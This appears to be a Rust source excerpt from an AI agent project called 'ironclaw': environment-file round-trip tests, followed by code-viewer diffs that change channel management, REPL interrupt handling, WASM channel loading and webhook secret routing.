let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
let llm_backend = parsed.iter().find(|(k, _)| k == "LLM_BACKEND");
assert!(llm_backend.is_some(), "LLM_BACKEND must be present");
assert_eq!(
llm_backend.unwrap().1,
"openai",
"LLM_BACKEND must survive .env round-trip"
);
}
#[test]
fn test_libsql_autodetect_does_not_override_explicit_backend() {
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("DATABASE_BACKEND").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("DATABASE_BACKEND", "postgres") };
let dir = tempdir().unwrap();
let db_path = dir.path().join("ironclaw.db");
std::fs::write(&db_path, "").unwrap();
// The guard: only sets libsql if DATABASE_BACKEND is NOT already set.
let would_override = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
assert!(
!would_override,
"must not override an explicitly set DATABASE_BACKEND"
);
// Restore.
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("DATABASE_BACKEND", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("DATABASE_BACKEND") };
}
}
#[test]
fn bootstrap_env_special_chars_in_url() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// URLs with special characters that are common in database passwords
let url = "postgres://user:p%23ss@host:5432/db?sslmode=require";
let escaped = url.replace('\\', "\\\\").replace('"', "\\\"");
let content = format!("DATABASE_URL=\"{}\"\n", escaped);
std::fs::write(&env_path, &content).unwrap();
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
assert_eq!(parsed.len(), 1);
assert_eq!(parsed[0].1, url, "URL with special chars must survive");
}
#[test]
fn upsert_bootstrap_var_preserves_existing() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// Write initial content
let initial = "DATABASE_BACKEND=\"libsql\"\nONBOARD_COMPLETED=\"true\"\n";
std::fs::write(&env_path, initial).unwrap();
// Upsert a new var
let content = std::fs::read_to_string(&env_path).unwrap();
let new_line = "LLM_BACKEND=\"anthropic\"";
let mut result = content.clone();
result.push_str(new_line);
result.push('\n');
std::fs::write(&env_path, &result).unwrap();
// Parse and verify all three vars are present
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
assert_eq!(parsed.len(), 3, "should have 3 vars after upsert");
assert!(
parsed
.iter()
.any(|(k, v)| k == "DATABASE_BACKEND" && v == "libsql"),
"original DATABASE_BACKEND must be preserved"
);
assert!(
parsed
.iter()
.any(|(k, v)| k == "ONBOARD_COMPLETED" && v == "true"),
"original ONBOARD_COMPLETED must be preserved"
);
assert!(
parsed
.iter()
.any(|(k, v)| k == "LLM_BACKEND" && v == "anthropic"),
"new LLM_BACKEND must be present"
);
}
#[test]
fn bootstrap_env_all_wizard_vars_round_trip() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// Full set of vars the wizard might write
let vars = [
("DATABASE_BACKEND", "postgres"),
("DATABASE_URL", "postgres://u:p@h:5432/db"),
("LLM_BACKEND", "nearai"),
("ONBOARD_COMPLETED", "true"),
("EMBEDDING_ENABLED", "false"),
];
let mut content = String::new();
for (key, value) in &vars {
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
}
std::fs::write(&env_path, &content).unwrap();
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
assert_eq!(parsed.len(), vars.len(), "all vars must survive round-trip");
for (key, value) in &vars {
let found = parsed.iter().find(|(k, _)| k == key);
assert!(found.is_some(), "{key} must be present");
assert_eq!(&found.unwrap().1, value, "{key} value mismatch");
}
}
#[test]
fn test_ironclaw_base_dir_default() {
// This test must run first (or in isolation) before the LazyLock is initialized.
// It verifies that when IRONCLAW_BASE_DIR is not set, the default path is used.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
let home = dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from("."));
assert_eq!(path, home.join(".ironclaw"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
}
}
#[test]
fn test_ironclaw_base_dir_env_override() {
// This test verifies that when IRONCLAW_BASE_DIR is set,
// the custom path is used. Must run before LazyLock is initialized.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/custom/ironclaw/path") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
assert_eq!(path, std::path::PathBuf::from("/custom/ironclaw/path"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
#[test]
fn test_compute_base_dir_env_path_join() {
// Verifies that ironclaw_env_path correctly joins .env to the base dir.
// Uses compute_ironclaw_base_dir directly to avoid LazyLock caching.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/my/custom/dir") };
// Test the path construction logic directly
let base_path = compute_ironclaw_base_dir();
let env_path = base_path.join(".env");
assert_eq!(env_path, std::path::PathBuf::from("/my/custom/dir/.env"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
#[test]
fn test_ironclaw_base_dir_empty_env() {
// Verifies that empty IRONCLAW_BASE_DIR falls back to default.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
let home = dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from("."));
assert_eq!(path, home.join(".ironclaw"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
#[test]
fn test_ironclaw_base_dir_special_chars() {
// Verifies that paths with special characters are handled correctly.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/tmp/test_with-special.chars") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
assert_eq!(
path,
std::path::PathBuf::from("/tmp/test_with-special.chars")
);
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
}
-20
View File
@@ -1,6 +1,5 @@
//! Channel trait and message types.
use std::collections::HashMap;
use std::pin::Pin;
use async_trait::async_trait;
@@ -79,8 +78,6 @@ pub struct OutgoingResponse {
pub content: String,
/// Optional thread ID to reply in.
pub thread_id: Option<String>,
/// Optional file paths to attach.
pub attachments: Vec<String>,
/// Channel-specific metadata for the response.
pub metadata: serde_json::Value,
}
@@ -91,7 +88,6 @@ impl OutgoingResponse {
Self {
content: content.into(),
thread_id: None,
attachments: Vec::new(),
metadata: serde_json::Value::Null,
}
}
@@ -101,12 +97,6 @@ impl OutgoingResponse {
self.thread_id = Some(thread_id.into());
self
}
/// Add attachments to the response.
pub fn with_attachments(mut self, paths: Vec<String>) -> Self {
self.attachments = paths;
self
}
}
/// Status update types for showing agent activity.
@@ -208,16 +198,6 @@ pub trait Channel: Send + Sync {
/// Check if the channel is healthy.
async fn health_check(&self) -> Result<(), ChannelError>;
/// Get conversation context from message metadata for system prompt.
///
/// Returns key-value pairs like "sender", "sender_uuid", "group" that
/// help the LLM understand who it's talking to.
///
/// Default implementation returns empty map.
fn conversation_context(&self, _metadata: &serde_json::Value) -> HashMap<String, String> {
HashMap::new()
}
/// Gracefully shut down the channel.
async fn shutdown(&self) -> Result<(), ChannelError> {
Ok(())
+10 -44
View File
@@ -14,7 +14,7 @@ use crate::error::ChannelError;
/// Includes an injection channel so background tasks (e.g., job monitors) can
/// push messages into the agent loop without being a full `Channel` impl.
pub struct ChannelManager {
channels: Arc<RwLock<HashMap<String, Arc<dyn Channel>>>>,
channels: Arc<RwLock<HashMap<String, Box<dyn Channel>>>>,
inject_tx: mpsc::Sender<IncomingMessage>,
/// Taken once in `start_all()` and merged into the stream.
inject_rx: tokio::sync::Mutex<Option<mpsc::Receiver<IncomingMessage>>>,
@@ -40,45 +40,16 @@ impl ChannelManager {
}
/// Add a channel to the manager.
pub async fn add(&self, channel: Box<dyn Channel>) {
pub fn add(&mut self, channel: Box<dyn Channel>) {
let name = channel.name().to_string();
self.channels
.write()
.await
.insert(name.clone(), Arc::from(channel));
tracing::debug!("Added channel: {}", name);
}
/// Hot-add a channel to a running agent.
///
/// Starts the channel, registers it in the channels map for `respond()`/`broadcast()`,
/// and spawns a task that forwards its stream messages through `inject_tx` into
/// the agent loop.
pub async fn hot_add(&self, channel: Box<dyn Channel>) -> Result<(), ChannelError> {
let name = channel.name().to_string();
let stream = channel.start().await?;
// Register for respond/broadcast/send_status
self.channels
.write()
.await
.insert(name.clone(), Arc::from(channel));
// Forward stream messages through inject_tx
let tx = self.inject_tx.clone();
tokio::spawn(async move {
use futures::StreamExt;
let mut stream = stream;
while let Some(msg) = stream.next().await {
if tx.send(msg).await.is_err() {
tracing::warn!(channel = %name, "Inject channel closed, stopping hot-added channel");
break;
}
}
tracing::info!(channel = %name, "Hot-added channel stream ended");
});
Ok(())
// We need to get the inner HashMap to insert
// Since we're in a sync context during setup, we'll use try_write
if let Ok(mut channels) = self.channels.try_write() {
channels.insert(name.clone(), channel);
tracing::debug!("Added channel: {}", name);
} else {
tracing::error!("Failed to add channel: {} (lock contention)", name);
}
}
/// Start all channels and return a merged stream of messages.
@@ -223,11 +194,6 @@ impl ChannelManager {
pub async fn channel_names(&self) -> Vec<String> {
self.channels.read().await.keys().cloned().collect()
}
/// Get a channel by name.
pub async fn get_channel(&self, name: &str) -> Option<Arc<dyn Channel>> {
self.channels.read().await.get(name).cloned()
}
}
impl Default for ChannelManager {
-2
View File
@@ -31,7 +31,6 @@ mod channel;
mod http;
mod manager;
mod repl;
mod signal;
pub mod wasm;
pub mod web;
mod webhook_server;
@@ -40,6 +39,5 @@ pub use channel::{Channel, IncomingMessage, MessageStream, OutgoingResponse, Sta
pub use http::HttpChannel;
pub use manager::ChannelManager;
pub use repl::ReplChannel;
pub use signal::SignalChannel;
pub use web::GatewayChannel;
pub use webhook_server::{WebhookServer, WebhookServerConfig};
+8 -43
View File
@@ -15,7 +15,6 @@
//! - `/compact` - Compact the context
//! - `/new` - Start a new thread
//! - `yes`/`no`/`always` - Respond to tool approval prompts
//! - `Esc` - Interrupt current operation
use std::borrow::Cow;
use std::io::{self, Write};
@@ -29,16 +28,12 @@ use rustyline::error::ReadlineError;
use rustyline::highlight::Highlighter;
use rustyline::hint::Hinter;
use rustyline::validate::Validator;
use rustyline::{
Cmd as ReadlineCmd, CompletionType, ConditionalEventHandler, Editor, Event, EventContext,
EventHandler, Helper, KeyCode, KeyEvent, Modifiers, RepeatCount,
};
use rustyline::{CompletionType, Editor, Helper};
use termimad::MadSkin;
use tokio::sync::mpsc;
use tokio_stream::wrappers::ReceiverStream;
use crate::agent::truncate_for_preview;
use crate::bootstrap::ironclaw_base_dir;
use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate};
use crate::error::ChannelError;
@@ -126,23 +121,6 @@ impl Highlighter for ReplHelper {
impl Validator for ReplHelper {}
impl Helper for ReplHelper {}
struct EscInterruptHandler {
triggered: Arc<AtomicBool>,
}
impl ConditionalEventHandler for EscInterruptHandler {
fn handle(
&self,
_evt: &Event,
_n: RepeatCount,
_positive: bool,
_ctx: &EventContext,
) -> Option<ReadlineCmd> {
self.triggered.store(true, Ordering::Relaxed);
Some(ReadlineCmd::Interrupt)
}
}
/// Build a termimad skin with our color scheme.
fn make_skin() -> MadSkin {
let mut skin = MadSkin::default();
@@ -269,7 +247,6 @@ fn print_help() {
println!(" {c}/compact{r} {d}compact context window{r}");
println!(" {c}/new{r} {d}new conversation thread{r}");
println!(" {c}/interrupt{r} {d}stop current operation{r}");
println!(" {c}esc{r} {d}stop current operation{r}");
println!();
println!(" {h}Approval responses{r}");
println!(" {c}yes{r} ({c}y{r}) {d}approve tool execution{r}");
@@ -280,7 +257,10 @@ fn print_help() {
/// Get the history file path (~/.ironclaw/history).
fn history_path() -> std::path::PathBuf {
ironclaw_base_dir().join("history")
dirs::home_dir()
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".ironclaw")
.join("history")
}
#[async_trait]
@@ -294,7 +274,6 @@ impl Channel for ReplChannel {
let single_message = self.single_message.clone();
let debug_mode = Arc::clone(&self.debug_mode);
let suppress_banner = Arc::clone(&self.suppress_banner);
let esc_interrupt_triggered_for_thread = Arc::new(AtomicBool::new(false));
std::thread::spawn(move || {
// Single message mode: send it and return
@@ -322,13 +301,6 @@ impl Channel for ReplChannel {
rl.set_helper(Some(ReplHelper));
rl.bind_sequence(
KeyEvent(KeyCode::Esc, Modifiers::NONE),
EventHandler::Conditional(Box::new(EscInterruptHandler {
triggered: Arc::clone(&esc_interrupt_triggered_for_thread),
})),
);
// Load history
let hist_path = history_path();
if let Some(parent) = hist_path.parent() {
@@ -388,16 +360,9 @@ impl Channel for ReplChannel {
}
}
Err(ReadlineError::Interrupted) => {
if esc_interrupt_triggered_for_thread.swap(false, Ordering::Relaxed) {
// Esc: interrupt current operation and keep REPL open.
let msg = IncomingMessage::new("repl", "default", "/interrupt");
if tx.blocking_send(msg).is_err() {
break;
}
} else {
// Ctrl+C (VINTR): request graceful shutdown.
let msg = IncomingMessage::new("repl", "default", "/quit");
let _ = tx.blocking_send(msg);
// Ctrl+C: send /interrupt
let msg = IncomingMessage::new("repl", "default", "/interrupt");
if tx.blocking_send(msg).is_err() {
break;
}
}
File diff suppressed because it is too large Load Diff
+24 -37
View File
@@ -20,7 +20,6 @@ const CARGO_MANIFEST_DIR: &str = env!("CARGO_MANIFEST_DIR");
const KNOWN_CHANNELS: &[(&str, &str)] = &[
("telegram", "telegram_channel"),
("slack", "slack_channel"),
("discord", "discord_channel"),
("whatsapp", "whatsapp_channel"),
];
@@ -43,10 +42,6 @@ fn channels_src_dir() -> PathBuf {
/// Locate the build artifacts for a channel.
///
/// Checks two layouts:
/// 1. **Flat** (Docker/packaged): `<channels_src>/<name>/<name>.wasm`
/// 2. **Build tree** (dev): `<channels_src>/<name>/target/wasm32-wasip2/release/<crate_name>.wasm`
///
/// Returns (wasm_path, capabilities_path) or an error if files are missing.
fn locate_channel_artifacts(name: &str) -> Result<(PathBuf, PathBuf), String> {
let (_, crate_name) = KNOWN_CHANNELS
@@ -57,38 +52,31 @@ fn locate_channel_artifacts(name: &str) -> Result<(PathBuf, PathBuf), String> {
let src_dir = channels_src_dir();
let channel_dir = src_dir.join(name);
let caps_path = channel_dir.join(format!("{}.capabilities.json", name));
// Check flat layout first (Docker/packaged deployments)
let flat_wasm = channel_dir.join(format!("{}.wasm", name));
if flat_wasm.exists() && caps_path.exists() {
return Ok((flat_wasm, caps_path));
}
// Fall back to build tree layout (dev builds) — search across all WASM triples
if let Some(build_wasm) =
crate::registry::artifacts::find_wasm_artifact(&channel_dir, crate_name, "release")
&& caps_path.exists()
{
return Ok((build_wasm, caps_path));
}
// Provide a helpful error with the paths we checked
let expected_build = crate::registry::artifacts::resolve_target_dir(&channel_dir)
.join("wasm32-wasip2/release")
let wasm_path = channel_dir
.join("target/wasm32-wasip2/release")
.join(format!("{}.wasm", crate_name));
Err(format!(
"Channel '{}' WASM not found. Checked:\n \
- {} (flat/packaged)\n \
- {} (build tree, and other triples)\n \
Build it first:\n \
cd {} && cargo component build --release",
name,
flat_wasm.display(),
expected_build.display(),
channel_dir.display()
))
let caps_path = channel_dir.join(format!("{}.capabilities.json", name));
if !wasm_path.exists() {
return Err(format!(
"Channel '{}' WASM not found at {}. Build it first:\n \
cd {} && cargo build --target wasm32-wasip2 --release",
name,
wasm_path.display(),
channel_dir.display()
));
}
if !caps_path.exists() {
return Err(format!(
"Channel '{}' capabilities not found at {}",
name,
caps_path.display()
));
}
Ok((wasm_path, caps_path))
}
/// Install a channel from build artifacts into the channels directory.
@@ -142,11 +130,10 @@ mod tests {
use super::*;
#[test]
fn test_known_channels_includes_all_four() {
fn test_known_channels_includes_all_three() {
let names = bundled_channel_names();
assert!(names.contains(&"telegram"));
assert!(names.contains(&"slack"));
assert!(names.contains(&"discord"));
assert!(names.contains(&"whatsapp"));
}
-263
View File
@@ -300,51 +300,6 @@ impl ChannelHostState {
}
}
/// In-memory workspace store for WASM channels.
///
/// Persists workspace writes across callback invocations within a single
/// channel lifetime. This allows WASM channels to maintain state (e.g.,
/// Telegram polling offsets) between poll ticks without requiring a
/// full database-backed workspace.
///
/// Uses `std::sync::RwLock` (not tokio) because WASM execution runs
/// inside `spawn_blocking`.
pub struct ChannelWorkspaceStore {
data: std::sync::RwLock<std::collections::HashMap<String, String>>,
}
impl ChannelWorkspaceStore {
/// Create a new empty workspace store.
pub fn new() -> Self {
Self {
data: std::sync::RwLock::new(std::collections::HashMap::new()),
}
}
/// Commit pending writes from a callback execution into the store.
pub fn commit_writes(&self, writes: &[PendingWorkspaceWrite]) {
if writes.is_empty() {
return;
}
if let Ok(mut data) = self.data.write() {
for write in writes {
tracing::debug!(
path = %write.path,
content_len = write.content.len(),
"Committing workspace write to channel store"
);
data.insert(write.path.clone(), write.content.clone());
}
}
}
}
impl crate::tools::wasm::WorkspaceReader for ChannelWorkspaceStore {
fn read(&self, path: &str) -> Option<String> {
self.data.read().ok()?.get(path).cloned()
}
}
/// Rate limiter for channel message emission.
///
/// Tracks emission rates across multiple executions.
@@ -542,222 +497,4 @@ mod tests {
assert_eq!(state.channel_name(), "telegram");
}
#[test]
fn test_channel_workspace_store_commit_and_read() {
use crate::channels::wasm::host::{ChannelWorkspaceStore, PendingWorkspaceWrite};
use crate::tools::wasm::WorkspaceReader;
let store = ChannelWorkspaceStore::new();
// Initially empty
assert!(store.read("channels/telegram/offset").is_none());
// Commit some writes
let writes = vec![
PendingWorkspaceWrite {
path: "channels/telegram/offset".to_string(),
content: "103".to_string(),
},
PendingWorkspaceWrite {
path: "channels/telegram/state.json".to_string(),
content: r#"{"ok":true}"#.to_string(),
},
];
store.commit_writes(&writes);
// Should be readable
assert_eq!(
store.read("channels/telegram/offset"),
Some("103".to_string())
);
assert_eq!(
store.read("channels/telegram/state.json"),
Some(r#"{"ok":true}"#.to_string())
);
// Overwrite a value
let writes2 = vec![PendingWorkspaceWrite {
path: "channels/telegram/offset".to_string(),
content: "200".to_string(),
}];
store.commit_writes(&writes2);
assert_eq!(
store.read("channels/telegram/offset"),
Some("200".to_string())
);
// Empty writes are a no-op
store.commit_writes(&[]);
assert_eq!(
store.read("channels/telegram/offset"),
Some("200".to_string())
);
}
// === QA Plan P2 - 2.3: WASM channel lifecycle tests ===
#[test]
fn test_workspace_write_then_read_round_trip() {
// Full lifecycle: write in one "callback", commit, then read in a
// subsequent "callback" using the same store as the workspace reader.
use crate::channels::wasm::host::ChannelWorkspaceStore;
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
use std::sync::Arc;
let store = Arc::new(ChannelWorkspaceStore::new());
// --- Callback 1: write workspace data ---
let caps = ChannelCapabilities::for_channel("telegram");
let mut state = ChannelHostState::new("telegram", caps);
state
.workspace_write("offset", "12345".to_string())
.unwrap();
state
.workspace_write("state.json", r#"{"ok":true}"#.to_string())
.unwrap();
let writes = state.take_pending_writes();
assert_eq!(writes.len(), 2);
store.commit_writes(&writes);
// --- Callback 2: read back the data written in callback 1 ---
// Build capabilities with the store as the workspace reader.
let mut caps2 = ChannelCapabilities::for_channel("telegram");
caps2.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![], // empty = all paths allowed
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let state2 = ChannelHostState::new("telegram", caps2);
// workspace_read prefixes path with "channels/telegram/" before delegating.
let offset = state2.workspace_read("offset").unwrap();
assert_eq!(offset, Some("12345".to_string()));
let json = state2.workspace_read("state.json").unwrap();
assert_eq!(json, Some(r#"{"ok":true}"#.to_string()));
// Non-existent key returns None.
let missing = state2.workspace_read("no_such_key").unwrap();
assert!(missing.is_none());
}
#[test]
fn test_workspace_overwrite_across_callbacks() {
// Verify that a second write to the same key overwrites the first.
use crate::channels::wasm::host::ChannelWorkspaceStore;
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
use std::sync::Arc;
let store = Arc::new(ChannelWorkspaceStore::new());
// Callback 1: write initial value.
let caps = ChannelCapabilities::for_channel("slack");
let mut state = ChannelHostState::new("slack", caps);
state.workspace_write("cursor", "100".to_string()).unwrap();
let writes = state.take_pending_writes();
store.commit_writes(&writes);
// Callback 2: overwrite the same key.
let caps2 = ChannelCapabilities::for_channel("slack");
let mut state2 = ChannelHostState::new("slack", caps2);
state2.workspace_write("cursor", "200".to_string()).unwrap();
let writes2 = state2.take_pending_writes();
store.commit_writes(&writes2);
// Callback 3: read back -- should see the overwritten value.
let mut caps3 = ChannelCapabilities::for_channel("slack");
caps3.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![],
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let state3 = ChannelHostState::new("slack", caps3);
let value = state3.workspace_read("cursor").unwrap();
assert_eq!(value, Some("200".to_string()));
}
#[test]
fn test_emit_and_take_preserves_order_and_content() {
// Emit multiple messages, take them, verify order and content.
let caps = ChannelCapabilities::for_channel("discord");
let mut state = ChannelHostState::new("discord", caps);
let messages_data = vec![
("user-a", "Hello from A"),
("user-b", "Hello from B"),
("user-a", "Follow-up from A"),
];
for (uid, content) in &messages_data {
state
.emit_message(EmittedMessage::new(*uid, *content))
.unwrap();
}
assert_eq!(state.emitted_count(), 3);
let taken = state.take_emitted_messages();
assert_eq!(taken.len(), 3);
// Order preserved.
for (i, (uid, content)) in messages_data.iter().enumerate() {
assert_eq!(taken[i].user_id, *uid);
assert_eq!(taken[i].content, *content);
}
// Take empties the queue.
assert_eq!(state.emitted_count(), 0);
let taken2 = state.take_emitted_messages();
assert!(taken2.is_empty());
}
#[test]
fn test_channels_have_isolated_namespaces() {
// Two channels writing to the same relative path should not collide.
use crate::channels::wasm::host::ChannelWorkspaceStore;
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
use std::sync::Arc;
let store = Arc::new(ChannelWorkspaceStore::new());
// Telegram writes "offset" = "100".
let caps_tg = ChannelCapabilities::for_channel("telegram");
let mut state_tg = ChannelHostState::new("telegram", caps_tg);
state_tg
.workspace_write("offset", "100".to_string())
.unwrap();
store.commit_writes(&state_tg.take_pending_writes());
// Slack writes "offset" = "200".
let caps_sl = ChannelCapabilities::for_channel("slack");
let mut state_sl = ChannelHostState::new("slack", caps_sl);
state_sl
.workspace_write("offset", "200".to_string())
.unwrap();
store.commit_writes(&state_sl.take_pending_writes());
// Reading back: each channel sees its own value.
let mut caps_tg_read = ChannelCapabilities::for_channel("telegram");
caps_tg_read.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![],
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let tg_reader = ChannelHostState::new("telegram", caps_tg_read);
assert_eq!(
tg_reader.workspace_read("offset").unwrap(),
Some("100".to_string())
);
let mut caps_sl_read = ChannelCapabilities::for_channel("slack");
caps_sl_read.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![],
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let sl_reader = ChannelHostState::new("slack", caps_sl_read);
assert_eq!(
sl_reader.workspace_read("offset").unwrap(),
Some("200".to_string())
);
}
}
+6 -31
View File
@@ -11,33 +11,25 @@ use std::sync::Arc;
use tokio::fs;
use crate::bootstrap::ironclaw_base_dir;
use crate::channels::wasm::capabilities::ChannelCapabilities;
use crate::channels::wasm::error::WasmChannelError;
use crate::channels::wasm::runtime::WasmChannelRuntime;
use crate::channels::wasm::schema::ChannelCapabilitiesFile;
use crate::channels::wasm::wrapper::WasmChannel;
use crate::db::SettingsStore;
use crate::pairing::PairingStore;
/// Loads WASM channels from the filesystem.
pub struct WasmChannelLoader {
runtime: Arc<WasmChannelRuntime>,
pairing_store: Arc<PairingStore>,
settings_store: Option<Arc<dyn SettingsStore>>,
}
impl WasmChannelLoader {
/// Create a new loader with the given runtime and pairing store.
pub fn new(
runtime: Arc<WasmChannelRuntime>,
pairing_store: Arc<PairingStore>,
settings_store: Option<Arc<dyn SettingsStore>>,
) -> Self {
pub fn new(runtime: Arc<WasmChannelRuntime>, pairing_store: Arc<PairingStore>) -> Self {
Self {
runtime,
pairing_store,
settings_store,
}
}
@@ -133,7 +125,6 @@ impl WasmChannelLoader {
capabilities,
config_json,
self.pairing_store.clone(),
self.settings_store.clone(),
);
tracing::info!(
@@ -257,13 +248,6 @@ impl LoadedChannel {
.and_then(|f| f.webhook_secret_header())
}
/// Get the signature verification key secret name from capabilities.
pub fn signature_key_secret_name(&self) -> Option<String> {
self.capabilities_file
.as_ref()
.and_then(|f| f.signature_key_secret_name().map(|s| s.to_string()))
}
/// Get the webhook secret name from capabilities.
pub fn webhook_secret_name(&self) -> String {
self.capabilities_file
@@ -365,7 +349,10 @@ pub struct DiscoveredChannel {
/// Returns ~/.ironclaw/channels/
#[allow(dead_code)]
pub fn default_channels_dir() -> PathBuf {
ironclaw_base_dir().join("channels")
dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("channels")
}
#[cfg(test)]
@@ -429,23 +416,11 @@ mod tests {
assert!(channels.contains_key("channel"));
}
#[test]
fn test_loaded_channel_signature_key_none_without_caps() {
// We can't easily construct a WasmChannel without a runtime, so test
// the delegation logic directly: when capabilities_file is None, the
// chain returns None (same logic as LoadedChannel::signature_key_secret_name).
let cap_file: Option<crate::channels::wasm::schema::ChannelCapabilitiesFile> = None;
let result = cap_file
.as_ref()
.and_then(|f| f.signature_key_secret_name().map(|s| s.to_string()));
assert_eq!(result, None);
}
#[tokio::test]
async fn test_loader_invalid_name() {
let config = WasmChannelRuntimeConfig::for_testing();
let runtime = Arc::new(WasmChannelRuntime::new(config).unwrap());
let loader = WasmChannelLoader::new(runtime, Arc::new(PairingStore::new()), None);
let loader = WasmChannelLoader::new(runtime, Arc::new(PairingStore::new()));
let dir = TempDir::new().unwrap();
let wasm_path = dir.path().join("test.wasm");
-1
View File
@@ -86,7 +86,6 @@ mod loader;
mod router;
mod runtime;
mod schema;
pub(crate) mod signature;
mod wrapper;
// Core types
+1 -535
View File
@@ -42,8 +42,6 @@ pub struct WasmChannelRouter {
secrets: RwLock<HashMap<String, String>>,
/// Webhook secret header names by channel name (e.g., "X-Telegram-Bot-Api-Secret-Token").
secret_headers: RwLock<HashMap<String, String>>,
/// Ed25519 public keys for signature verification by channel name (hex-encoded).
signature_keys: RwLock<HashMap<String, String>>,
}
impl WasmChannelRouter {
@@ -54,7 +52,6 @@ impl WasmChannelRouter {
path_to_channel: RwLock::new(HashMap::new()),
secrets: RwLock::new(HashMap::new()),
secret_headers: RwLock::new(HashMap::new()),
signature_keys: RwLock::new(HashMap::new()),
}
}
@@ -113,27 +110,11 @@ impl WasmChannelRouter {
.unwrap_or_else(|| "X-Webhook-Secret".to_string())
}
/// Update the webhook secret for an already-registered channel.
///
/// This is used when credentials are saved after a channel was registered
/// without a secret (e.g., loaded at startup before the user configured it).
pub async fn update_secret(&self, channel_name: &str, secret: String) {
self.secrets
.write()
.await
.insert(channel_name.to_string(), secret);
tracing::info!(
channel = %channel_name,
"Updated webhook secret for channel"
);
}
/// Unregister a channel and its endpoints.
pub async fn unregister(&self, channel_name: &str) {
self.channels.write().await.remove(channel_name);
self.secrets.write().await.remove(channel_name);
self.secret_headers.write().await.remove(channel_name);
self.signature_keys.write().await.remove(channel_name);
// Remove all paths for this channel
self.path_to_channel
@@ -178,36 +159,6 @@ impl WasmChannelRouter {
pub async fn list_paths(&self) -> Vec<String> {
